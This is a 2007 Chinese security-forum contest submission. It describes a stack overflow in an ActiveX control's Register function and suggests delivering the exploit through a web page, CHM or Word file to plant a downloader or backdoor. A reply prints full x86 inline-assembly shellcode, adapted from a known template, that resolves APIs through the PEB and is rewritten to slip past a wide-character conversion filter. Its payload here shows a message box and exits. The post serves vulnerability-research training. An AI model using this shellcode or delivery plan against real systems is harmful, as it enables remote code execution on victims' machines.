首页
社区
课程
招聘
[原创]bughoho的B题提交
发表于: 2007-12-30 22:48 15409

[原创]bughoho的B题提交

2007-12-30 22:48
15409
提交者看雪ID:bughoho
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)

其他
漏洞定位:
先通过VS2005查看所有的函数,先将以string为参数的函数都列出来,发现用到string类型参数的函数不是很多,于是就选择手工挖掘先来学习一下。首先为这些函数编写用例,通过DispCallFunc函数将函数在DLL中的位置定位出来,然后打算将每个函数的第一层处理的代码单步运行一遍,没想到运气比较好,发现了Register函数第一层就直接将代码复制到自己的栈缓冲区,而不是像其他函数一样在复制前先在栈中new出一片空间,这是一个标准的越界错误。其他函数可能也有漏洞,但是比赛中只要求找出一个,故没有继续挖掘。

注明:我使用的是IE7.0版本浏览器。

漏洞描述及危害分析:
这个漏洞来自Register函数,当传入的参数长度超过256字节就会出现栈溢出来达到执行任意代码的目的。
通过这个漏洞可以编写任意代码来达到控制系统权限的目的。
利用此漏洞有2种以上的方法:
1.        首先编写一个shellcode页面发布在网上,然后诱使目标访问这个页面,这个shellcode可以是一段Download下载者或者其他后门程序的代码,最终控制目标操作系统。
2.同上编写一个shellcode页面,然后将这个页面以网页、chm或者添加在WORD文档等一切可以执行脚本的文件中,然后发送给目标诱使其打开,最终控制目标系统。

shellcode描述
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码

shellcode来源:修改failwest的shellcode

修改说明:failwest的shellcode方便了大众,不过这个漏洞有过滤器,原来的shellcode通过WideCharToMultiByte后面目全非,于是我将会出现错误的代码都变形了,shellcode经过这道关卡后就存活了下来。

exploit运行截图



稳定性与通用性论证

溢出起点是从[ebp-100h]处开始,所以溢出长度是固定的,其他版本的windows操作系统应该都能覆盖返回地址,在寻找API方面是从FS寄存器中寻找而没有使用固定地址,通常情况下都能找到API的地址。综上所述,稳定性与通用性都还是比较好的。

创新性论证(可选)

没有创新。

B题答卷和攻击页面

B题答案.rar

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 1946
活跃值: (263)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
2
这是修改failwest的shellcode
只是简单的代码变形而已

void __declspec(naked) shellfunc()
{
_asm
{
          push    0x1E380A6A
  push    0x4FD18963
  //push    0x0C917432
  mov     ax, 0x0B41
  add     ax, 0x150
  push    ax
  mov     ax, 0x0B41
  add     ax, 0x68F1
  push    ax
  //mov     esi, esp
  push      esp
  pop      esi
  lea     edi, dword ptr [esi-0xC]
  nop
  //xor     ebx, ebx
  //mov     bh, 4
  //sub     esp, ebx
  xor       eax,eax
  mov        ah,4
  sub        esp,eax
  //mov     bx, 0x3233
  //push    ebx
  mov     ax, 0x0B41
  add     ax, 0x0B41
  add     ax, 0x0B41
  add     ax, 0x1070
  push      eax

  push    0x72657375
  push    esp
  xor     edx, edx
  mov     ebx, dword ptr fs:[edx+0x30]
  mov     ecx, dword ptr [ebx+0xC]
  mov     ecx, dword ptr [ecx+0x1C]
  //mov     ecx, dword ptr [ecx]
  push    dword ptr [ecx]
  pop     ecx

  mov     ebp, dword ptr [ecx+0x8]
L018:
  //lods    dword ptr [esi]
  push    dword ptr [esi]
  pop     eax
  nop
  inc     esi
  inc     esi
  inc     esi
  inc     esi

  cmp     eax, 0x1E380A6A
  jnz L024
  //xchg    eax, ebp
  push    ebp
  push    eax
  pop     ebp
  pop     eax

  call    dword ptr [edi-0x8]
  xchg    eax, ebp
L024:
  pushad
  mov     eax, dword ptr [ebp+0x3C]
  mov     ecx, dword ptr [ebp+eax+0x78]
  add     ecx, ebp
  mov     ebx, dword ptr [ecx+0x20]
  //add     ebx, ebp
  push    ebx
  add     dword ptr [esp], ebp
  pop     ebx

  xor     edi, edi
L031:
  inc     edi
  nop
  //mov     esi, dword ptr [ebx+edi*4]

  //push    eax
  //mov     eax, edi
  //xor     ecx, ecx
  //mov     cl, 4
  //mul     ecx
  //push    ebx
  //nop
  //mov     dword ptr [esp], eax
  //pop     ebx
  //push    dword ptr [ebx]
  //pop     esi
  //pop     eax

  push    eax
  mov     eax, edi
  xor     edx, edx
  mov     dl, 4
  mul     edx
  push    eax
  add     dword ptr [esp], ebx
  pop     esi
  push      dword ptr [esi]
  pop     esi
  pop     eax


  add     esi, ebp
  cdq
L035:
  //movsx   eax, byte ptr [esi]
  xor     eax, eax
  mov     al, byte ptr [esi]

  cmp     al, ah
  je L042
  ror     edx, 7
  add     edx, eax
  inc     esi
  jmp L035
L042:
  cmp     edx, dword ptr [esp+0x1C]
  jnz L031
  mov     ebx, dword ptr [ecx+0x24]
  add     ebx, ebp
  //mov     di, word ptr [ebx+edi*2]
  push    word ptr [ebx+edi*2]
  pop     di

  mov     ebx, dword ptr [ecx+0x1C]
  //add     ebx, ebp
  push    ebx
  add     dword ptr [esp], ebp
  pop     ebx

  add     ebp, dword ptr [ebx+edi*4]
  xchg    eax, ebp
  pop     edi
  stos    dword ptr es:[edi]
  push    edi
  popad
  cmp     eax, 0x1E380A6A
  jnz L018
  nop
  xor     ebx, ebx
  push    ebx
  push    0x0A6F686F
  push    0x68677562
  mov     eax, esp
  push    ebx
  push    eax
  push    eax
  push    ebx
  call    dword ptr [edi-4]
  push    ebx
  call    dword ptr [edi-8]
 }
}
2007-12-30 22:56
0
游客
登录 | 注册 方可回帖
返回
//